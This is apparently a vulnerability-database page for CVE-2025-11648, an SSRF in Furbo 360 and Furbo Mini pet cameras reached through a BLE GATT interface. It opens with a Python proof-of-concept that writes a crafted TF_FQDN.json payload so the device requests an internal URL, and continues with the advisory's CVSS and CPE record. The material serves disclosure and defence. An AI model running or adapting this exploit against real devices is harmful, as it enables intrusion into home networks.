CVE-2025-11648

# CVE-2025-11648 - Furbo SSRF via BLE GATT Interface # PoC demonstrates the SSRF vulnerability through TF_FQDN.json manipulation import asyncio from bleak import BleakClient, BleakScanner # Target device BLE address (needs to be discovered first) TARGET_DEVICE_ADDRESS = "XX:XX:XX:XX:XX:XX" # GATT service and characteristic UUIDs for TF_FQDN.json # These UUIDs need to be identified through BLE enumeration GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" FQDN_CHARACTERISTIC_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Malicious FQDN payload - points to internal network resource # This URL will be fetched by the device when it attempts cloud communication MALICIOUS_FQDN = { "fqdn": "http://192.168.1.1/admin/config", "port": 80, "protocol": "http" } import json payload = json.dumps(MALICIOUS_FQDN).encode('utf-8') async def exploit_ssrf(): """ Exploit SSRF vulnerability in Furbo devices via BLE GATT interface. The vulnerability exists in the TF_FQDN.json URL Handler component. """ print(f"[*] Scanning for Furbo device: {TARGET_DEVICE_ADDRESS}") # Connect to the target device via BLE async with BleakClient(TARGET_DEVICE_ADDRESS) as client: print(f"[+] Connected to device: {TARGET_DEVICE_ADDRESS}") # Discover GATT services services = await client.get_services() for service in services: print(f"[*] Service: {service.uuid}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - Properties: {char.properties}") # Write malicious FQDN payload to the vulnerable characteristic # This overwrites the TF_FQDN.json configuration print(f"[*] Writing malicious FQDN payload to {FQDN_CHARACTERISTIC_UUID}") await client.write_gatt_char(FQDN_CHARACTERISTIC_UUID, payload) print("[+] Payload written successfully") # The device will now use the malicious URL on next cloud sync # Trigger a sync or wait for device to reboot print("[*] Waiting for device to initiate cloud communication...") print("[!] Device will send request to: http://192.168.1.1/admin/config") print("[!] Monitor the target server to capture the SSRF request") if __name__ == "__main__": asyncio.run(exploit_ssrf())

{"cve": {"id": "CVE-2025-11648", "sourceIdentifier": "[email protected]", "published": "2025-10-12T22:15:33.777", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tomofun Furbo 360 and Furbo Mini. Impacted is an unknown function of the file TF_FQDN.json of the component GATT Interface URL Handler. Such manipulation leads to server-side request forgery. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is considered difficult. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.2}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_mini_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "074", "matchCriteriaId": "06B19876-699B-455F-945F-AF26C60BF965"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_mini:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F549356-AF78-447C-8689-D9DD1A9202DC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "036", "matchCriteriaId": "6DDA1333-73CD-494A-8DD3-9543FDFD47A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_360_dog_camera:*:*:*:*:*:*:*:*", "matchCriteriaId": "08CA8E77-413F-4849-A110-49DB5DDA29C5"}]}]}], "references": [{"url": "https://github.com/dead1nfluence/Furbo-Advisories/blob/main/SSRF- ... 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